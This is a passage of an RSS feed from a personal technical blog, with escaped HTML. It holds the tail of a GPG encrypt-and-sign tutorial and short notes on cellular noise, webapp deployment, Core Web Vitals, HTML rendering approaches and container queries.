&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Rol7rixwLQiOAQMJCIK3R02A3Dq16SU4/wXUWhqdYLAw0ksB/rSdqsF044dnzP2k
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;UK4/XOiSQvsUs/Qe9yx0hF0nIVbla9jIB4F7tW6giTF+Li8HtDDg+wYXKpaxw7+j
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lqpBWr1GhenjD5ccJc0&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;NfGw
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-----END PGP MESSAGE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --armor --decrypt titkos.txt.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;password&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hello
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sign something&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# detached signature&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --armor --detach-sign titkos.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat titkos.txt.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-----BEGIN PGP SIGNATURE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iQIzBAABCAAdFiEEBn6IbFA06MhrFc0nSZPwez6ujTgFAmHyfFEACgkQSZPwez6u
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jTgBcA//WnTLaR5En3dj8HVTUHH3SyFoK6WxxzX7GSCURcVM8vvvC9ofud1jGczK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jECrylm5CyKCh5XTRdy6hUq+2ZdUVIN/zJT3qZMK9JIZPnBOXBrH1lBs7+6ix/Ub
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dyqG2hbkPSULMuU3b0SkVm9fLYxD4o3Blr89+2QJsmOIL2QadxCFS17l1oJC0/cF
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hJbfRlohYakhY9qtSpgzYaHun0W9UzAhKLhCTiJ0otlX0ufv5fQ0vc7mv/if6PKS
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LGMkFnIDiKaPhiNrPcgP80XuRgOvGgCGlyykYwKz3vfxA0immT42kf04KLrrDmIs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MYSrRJT7z+mywexFVdM7msy70VCWRN8dx6dx3SWYK323yEpBy/1Wh6efUxvXTBh6
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wyE0zn9bsjRGpKBxvEQKto+KCijVPelsVIcxA6T349pvFDjV/FuzzCJcSvWSprJ2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vYJMhP9nhjCd1I41WGgDYrF5YMOkbxe+HppzQY7TJ0mqJUMAA7AQnAZ+zWnlJAqT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;XAIUi/mOJlGyHr6OpypYWQeJ86UQWX3OB3x9et8CaBGuk+c549jwz0HGhqe1WyOr
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;isMgDiThh1tHxKkGMgpfOl5Fv3wPpGHaxv9wYL2Fvg87knQtVOGhaXy7alhndPXY
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wd3sZRyFg+v/UvqkFmd/Pr4jY7niOKC5zNb+AS2Gv6gY4woqEmI&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;F1qO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-----END PGP SIGNATURE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gpg --verify titkos.txt.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: assuming signed data in &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;titkos.txt&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: Signature made Thu &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt; Jan &lt;span style=&#34;color:#ae81ff&#34;&gt;2022&lt;/span&gt; 12:04:49 PM CET
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg:                using RSA key 067E886C5034E8C86B15CD274993F07B3EAE8D38
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: checking the trustdb
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: marginals needed: &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;  completes needed: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;  trust model: classic
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: depth: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;  valid:   &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;  signed:   &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;  trust: 0-, 0q, 0n, 0m, 0f, 5u
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: depth: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;  valid:   &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;  signed:   &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;  trust: 0-, 0q, 0n, 0m, 1f, 0u
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: next trustdb check due at 2033-06-14
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg: Good signature from &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Gyuri Hork &amp;lt;dyuri@horak.hu&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;ultimate&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gpg:                 aka &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Gyuri Hork &amp;lt;gyuri@horak.hu&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;ultimate&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-cases&#34;&gt;Use cases&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;email (sign + encrypt)&lt;/li&gt;
&lt;li&gt;file/disk encryption&lt;/li&gt;
&lt;li&gt;password manager&lt;/li&gt;
&lt;li&gt;signing documents, git changesets (*)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Cellular noise</title>
      <link>https://horak.hu/posts/cellular_noise/</link>
      <pubDate>Thu, 17 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/cellular_noise/</guid>
      <description>&lt;h2 id=&#34;random-points&#34;&gt;Random points&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;true randomness is hard&lt;/li&gt;
&lt;li&gt;pseudo random number generators usually don&amp;rsquo;t have even distribution
&lt;ul&gt;
&lt;li&gt;or &amp;ldquo;slow&amp;rdquo;&lt;/li&gt;
&lt;li&gt;or cannot be used in a parallel way&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;OpenGL does not have random API (reasons above)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And in most cases higher &amp;ldquo;entropy&amp;rdquo; is more pleasant to the eyes.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;random-points&#34;&gt;Random points&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;true randomness is hard&lt;/li&gt;
&lt;li&gt;pseudo random number generators usually don&amp;rsquo;t have even distribution
&lt;ul&gt;
&lt;li&gt;or &amp;ldquo;slow&amp;rdquo;&lt;/li&gt;
&lt;li&gt;or cannot be used in a parallel way&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;OpenGL does not have random API (reasons above)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And in most cases higher &amp;ldquo;entropy&amp;rdquo; is more pleasant to the eyes.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Solution&amp;rdquo;: &lt;strong&gt;cellular noise&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;divide the space into cells&lt;/li&gt;
&lt;li&gt;pick one random point in each cell&lt;/li&gt;
&lt;li&gt;profit - can be processed in a parallel way very efficiently&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&#34;&#34;&gt;Classic, canvas based example&lt;/a&gt; using the CSS Paint API.&lt;/p&gt;
&lt;h2 id=&#34;classic-canvas-vs-shader-approach&#34;&gt;Classic (canvas) vs. shader approach&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Classic&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;set pixel colors, draw lines / arcs, fill them&lt;/li&gt;
&lt;li&gt;more pixels/shapes to draw =&amp;gt; more time required&lt;/li&gt;
&lt;li&gt;hard to do in a parallel way&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Shader:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;you get all the pixels (on a vertex), you have to determine the color of each&lt;/li&gt;
&lt;li&gt;more complex graphics =&amp;gt; more time, BUT you &lt;em&gt;need&lt;/em&gt; to set the color of all the pixels anyway&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;very&lt;/strong&gt; easy to do in a parallel way&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&#34;https://www.shadertoy.com/view/Nt2GDW&#34;&gt;Live demo&lt;/a&gt;&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Deploying a webapp</title>
      <link>https://horak.hu/posts/webapp_deploy/</link>
      <pubDate>Thu, 03 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/webapp_deploy/</guid>
      <description>&lt;h2 id=&#34;backend&#34;&gt;Backend&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;app to the server
&lt;ul&gt;
&lt;li&gt;scp&lt;/li&gt;
&lt;li&gt;git&lt;/li&gt;
&lt;li&gt;maven/npm/pip/whatever&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;start it
&lt;ul&gt;
&lt;li&gt;prefer using a &amp;ldquo;webapp container&amp;rdquo; like tomcat or gunicorn&lt;/li&gt;
&lt;li&gt;on a &amp;ldquo;high&amp;rdquo; port like 5000, 8000, 8080&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;make it start on reboot
&lt;ul&gt;
&lt;li&gt;systemd&lt;/li&gt;
&lt;li&gt;supervisord/pm2&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;h2 id=&#34;backend&#34;&gt;Backend&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;app to the server
&lt;ul&gt;
&lt;li&gt;scp&lt;/li&gt;
&lt;li&gt;git&lt;/li&gt;
&lt;li&gt;maven/npm/pip/whatever&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;start it
&lt;ul&gt;
&lt;li&gt;prefer using a &amp;ldquo;webapp container&amp;rdquo; like tomcat or gunicorn&lt;/li&gt;
&lt;li&gt;on a &amp;ldquo;high&amp;rdquo; port like 5000, 8000, 8080&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;make it start on reboot
&lt;ul&gt;
&lt;li&gt;systemd&lt;/li&gt;
&lt;li&gt;supervisord/pm2&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;or-use-containers&#34;&gt;or use containers&lt;/h3&gt;
&lt;p&gt;For example dockerize it.&lt;/p&gt;
&lt;h2 id=&#34;frontend&#34;&gt;Frontend&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;typically static files (HTML, CSS, JS)&lt;/li&gt;
&lt;li&gt;move them to the server (see above)&lt;/li&gt;
&lt;li&gt;serve them with a static webserver (nginx)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;nginx&#34;&gt;Nginx&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;static webserver
&lt;ul&gt;
&lt;li&gt;can server your frontend files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;reverse proxy
&lt;ul&gt;
&lt;li&gt;can proxy https (or http) traffic to your backend&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TLS SNI (server name indication) support (multiple SSL certificates per IP)&lt;/li&gt;
&lt;li&gt;HTTP/2
&lt;ul&gt;
&lt;li&gt;HTTP/3 / QUIC support in preview&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip; any other load balancer / reverse proxy can be used in clouds&lt;/p&gt;
&lt;h2 id=&#34;firewall&#34;&gt;Firewall&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;open ports 80 &amp;amp; 443 (+ any other required)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;dns&#34;&gt;DNS&lt;/h2&gt;
&lt;p&gt;Point the domain name to the IP address.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A record - direct domain - ip assignment&lt;/li&gt;
&lt;li&gt;CNAME - &amp;ldquo;alias&amp;rdquo; - domain name alias - domain name assignment
&lt;ul&gt;
&lt;li&gt;for example create CNAME for www (&lt;a href=&#34;https://www.foobar.com&#34;&gt;www.foobar.com&lt;/a&gt; =&amp;gt; foobar.com)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;ssl-certificates&#34;&gt;SSL certificates&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;use &lt;code&gt;certbot&lt;/code&gt; to get a free Let&amp;rsquo;s Encrypt certificate
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;certbot-nginx&lt;/code&gt; (or something similar) can also modify your nginx configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;redirect HTTP to HTTPS&lt;/li&gt;
&lt;li&gt;use HSTS, if possible&lt;/li&gt;
&lt;li&gt;add &lt;code&gt;certbot renew&lt;/code&gt; to the crontab (or use a systemd timer)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Core Web Vitals</title>
      <link>https://horak.hu/posts/web_vitals/</link>
      <pubDate>Tue, 27 Apr 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/web_vitals/</guid>
      <description>&lt;p&gt;Google: &amp;ldquo;page experience&amp;rdquo; will be (June 2021) part of search ranking&lt;/p&gt;
&lt;h2 id=&#34;what&#34;&gt;What&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LCP: Largest Contentful Paint&lt;/li&gt;
&lt;li&gt;FID: First Input Delay (RUM only)&lt;/li&gt;
&lt;li&gt;CLS: Cumulative Layout Shift&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;Google: &amp;ldquo;page experience&amp;rdquo; will be (June 2021) part of search ranking&lt;/p&gt;
&lt;h2 id=&#34;what&#34;&gt;What&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;LCP: Largest Contentful Paint&lt;/li&gt;
&lt;li&gt;FID: First Input Delay (RUM only)&lt;/li&gt;
&lt;li&gt;CLS: Cumulative Layout Shift&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other (also important) metrics, abbreviations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TTFB: Time To First Byte - request sent =&amp;gt; the first byte arrives (basically backend)&lt;/li&gt;
&lt;li&gt;FP: First Paint - anything rendered (except background color)&lt;/li&gt;
&lt;li&gt;FCP: First Contentful Paint - something that is &amp;ldquo;contentful&amp;rdquo; is rendered
&lt;ul&gt;
&lt;li&gt;has visible text&lt;/li&gt;
&lt;li&gt;image, canvas, video&lt;/li&gt;
&lt;li&gt;input w/ non-empty value&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TTI: Time To Interactive - page is loaded, event handlers registered, reacts within 50ms&lt;/li&gt;
&lt;li&gt;TBP: Total Blocking Time - FCP =&amp;gt; TTI (main thread is blocked by initializing scripts)&lt;/li&gt;
&lt;li&gt;Lab metrics: you can measure them via tools&lt;/li&gt;
&lt;li&gt;RUM: Real User Metrics - you cannot measure them via tools :)
&lt;ul&gt;
&lt;li&gt;available through CrUX (Chrome User Experience Report)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;lcp&#34;&gt;LCP&lt;/h3&gt;
&lt;p&gt;Like FCP, but not for the first, but the largest (&amp;ldquo;most interesting&amp;rdquo;) element in the page.&lt;/p&gt;
&lt;h3 id=&#34;fid&#34;&gt;FID&lt;/h3&gt;
&lt;p&gt;Time between interaction (click) and response (navigation, xhr, overlay opening, whatever). Basically the time the event listeners take to run.&lt;/p&gt;
&lt;h3 id=&#34;cls&#34;&gt;CLS&lt;/h3&gt;
&lt;p&gt;Visual stability of the page. When the page &amp;ldquo;jumps&amp;rdquo; it&amp;rsquo;s bad UX - late loading ads, jumpy menus/dropdowns, &amp;hellip; and it&amp;rsquo;s measured throughout the life of the page.&lt;/p&gt;
&lt;h3 id=&#34;rum&#34;&gt;RUM&lt;/h3&gt;
&lt;p&gt;Real user metrics means that the website will be measured by its real visitors using various hardware (mobile, desktop, tv, refrigerator, &amp;hellip;), software (basically just Chrome, but different versions on various OS-es) and network connection (from fiber to 2G mobile).&lt;/p&gt;
&lt;p&gt;LCP is most probably network related, FID depends on the CPU, and CLS might be affected by ad blockers and user behavior.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Rendering content to HTML</title>
      <link>https://horak.hu/posts/website_render/</link>
      <pubDate>Wed, 03 Mar 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/website_render/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;offline/static&lt;/li&gt;
&lt;li&gt;online/dynamic&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;offline&#34;&gt;Offline&lt;/h2&gt;
&lt;p&gt;Somebody or something generates the raw HTML &amp;ldquo;offline&amp;rdquo;, long before the request, then the generated HTML is served via a static webserver (nginx, apache, &amp;hellip;) or CDN.&lt;/p&gt;</description>
      <content>&lt;ul&gt;
&lt;li&gt;offline/static&lt;/li&gt;
&lt;li&gt;online/dynamic&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;offline&#34;&gt;Offline&lt;/h2&gt;
&lt;p&gt;Somebody or something generates the raw HTML &amp;ldquo;offline&amp;rdquo;, long before the request, then the generated HTML is served via a static webserver (nginx, apache, &amp;hellip;) or CDN.&lt;/p&gt;
&lt;h3 id=&#34;how-to-create&#34;&gt;How to create?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;via text editor&lt;/li&gt;
&lt;li&gt;static site generators&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Jamstack&lt;/em&gt; is quite trendy nowadays.&lt;/p&gt;
&lt;h4 id=&#34;proscons&#34;&gt;Pros/cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;quick as hell - markup is immediately available for the browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;eco friendly&lt;/em&gt; - minimal power consumption during serving&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;every visitor gets the same content&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;changing anything might require lot of work (for you or for the site generator)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;online&#34;&gt;Online&lt;/h2&gt;
&lt;p&gt;The HTML content is generated when the visitor requests it.&lt;/p&gt;
&lt;h3 id=&#34;classic-backend-rendering&#34;&gt;Classic backend rendering&lt;/h3&gt;
&lt;p&gt;The more &lt;em&gt;classic&lt;/em&gt; solution, something running on the backend side generates HTML for the visitor. CGI-BIN, PHP, Java servlet (JSP), etc.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s most probably some kind of fancy string concatenation, but that&amp;rsquo;s OK.&lt;/p&gt;
&lt;h4 id=&#34;proscons-1&#34;&gt;Pros/Cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;different visitors might get different content&lt;/li&gt;
&lt;li&gt;serving dynamically generated content is much slower than static one (even using extensive caching)&lt;/li&gt;
&lt;li&gt;once generated and served, the markup is immediately available for the browser to parse / render&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;frontend-rendering&#34;&gt;Frontend rendering&lt;/h3&gt;
&lt;p&gt;A skeleton website and a &lt;em&gt;heavy&lt;/em&gt; JS application is served initially, which then renders the HTML content using API calls.&lt;/p&gt;
&lt;p&gt;SPAs / PWAs.&lt;/p&gt;
&lt;h4 id=&#34;proscons-2&#34;&gt;Pros/Cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;markup is generated in the browser&lt;/li&gt;
&lt;li&gt;very quick in-site navigation
&lt;ul&gt;
&lt;li&gt;API call only for the data&lt;/li&gt;
&lt;li&gt;even DOM elements can be reused (vDOM, other smart tricks)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;first load can be very slow
&lt;ul&gt;
&lt;li&gt;partial bundling&lt;/li&gt;
&lt;li&gt;service workers, extensive frontend caching&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;mix-them-as-you-need&#34;&gt;Mix them as you need&lt;/h2&gt;
&lt;p&gt;But carefully, you can speed things up but also slow them down, there&amp;rsquo;s no ultimate solution.&lt;/p&gt;
&lt;h3 id=&#34;example-scenarios-notes&#34;&gt;Example scenarios (notes)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;#1 SPA backend render&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;React SPA takes too much time to load for the first time&lt;/li&gt;
&lt;li&gt;move rendering to dynamic backend using nodejs without changing much&lt;/li&gt;
&lt;li&gt;performance gets even worse&lt;/li&gt;
&lt;li&gt;?
&lt;ul&gt;
&lt;li&gt;React uses vDOM for rendering, it might help in the browser, but has no benefit - and slower than simple template rendering - on the backend&lt;/li&gt;
&lt;li&gt;backend performs the same API calls - they might take less time, but still&lt;/li&gt;
&lt;li&gt;the application still needs to get to the frontend - the rendered HTML w/o the JS app will do nothing (it can be displayed earlier, but in a &lt;em&gt;dummy&lt;/em&gt; state)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;#2 pre-rendered webshop&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;static pages are generated via CMS content&lt;/li&gt;
&lt;li&gt;customer (cart, ordering) related stuff are handled via lightweight JS app + API calls&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;web-components&#34;&gt;Web components&lt;/h2&gt;
&lt;p&gt;Currently web components don&amp;rsquo;t have a declarative API (in progress though), you need JS running in the browser to make them work, and even have the shadow DOM filled with something, so they cannot be rendered directly in the backend.&lt;/p&gt;
&lt;p&gt;This is why we don&amp;rsquo;t use &amp;ldquo;pure&amp;rdquo; web components in FreshKick, but &lt;code&gt;fd-widgets&lt;/code&gt; that might have something in their &amp;ldquo;normal&amp;rdquo; DOM, styled via classic CSS, and rendered on the backend via Soy. If they don&amp;rsquo;t need to be rendered in the backend, they can use shadow DOM and all it&amp;rsquo;s fancy things too.&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Container Queries</title>
      <link>https://horak.hu/posts/container_queries/</link>
      <pubDate>Mon, 08 Feb 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/container_queries/</guid>
      <description>&lt;h2 id=&#34;the-problem&#34;&gt;The problem&lt;/h2&gt;
&lt;p&gt;Currently we have &lt;code&gt;media queries&lt;/code&gt;, but in most cases widgets have not the full width of the viewport.&lt;/p&gt;</description>
      <content>&lt;h2 id=&#34;the-problem&#34;&gt;The problem&lt;/h2&gt;
&lt;p&gt;Currently we have &lt;code&gt;media queries&lt;/code&gt;, but in most cases widgets have not the full width of the viewport.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;&#34;&gt;not responsive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;&#34;&gt;responsive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;partial-solutions&#34;&gt;Partial solutions&lt;/h2&gt;
&lt;p&gt;Flexbox and grid layouts support some kind of &lt;em&gt;inner responsiveness&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;&#34;&gt;grid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;&#34;&gt;flexbox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;resizeobserver-to-the-rescue&#34;&gt;&lt;code&gt;ResizeObserver&lt;/code&gt; to the rescue&lt;/h2&gt;
&lt;p&gt;For more complex scenarios we have to use JavaScript currently. There are a lot of container query libraries, most of them overcomplicated to my taste. (One of the reasons why it is not yet in CSS.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;&#34;&gt;ResizeObserver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - container queries have been arrived meanwhile!&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>CSS Painting API</title>
      <link>https://horak.hu/posts/css_painting/</link>
      <pubDate>Fri, 15 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/css_painting/</guid>
      <description>&lt;p&gt;One of the new CSS Houdini APIs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CSS Parser API - possibility to implement sass/less/etc support&lt;/li&gt;
&lt;li&gt;CSS Properties and Values API - more advanced CSS properties (variables)&lt;/li&gt;
&lt;li&gt;CSS Typed OM - CSS values as typed  JS objects&lt;/li&gt;
&lt;li&gt;CSS Layout API - create custom layouts (like grid or flexbox)&lt;/li&gt;
&lt;li&gt;CSS Painting API - draw something in CSS&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;One of the new CSS Houdini APIs:&lt;/p&gt;
&lt;ul&gt;
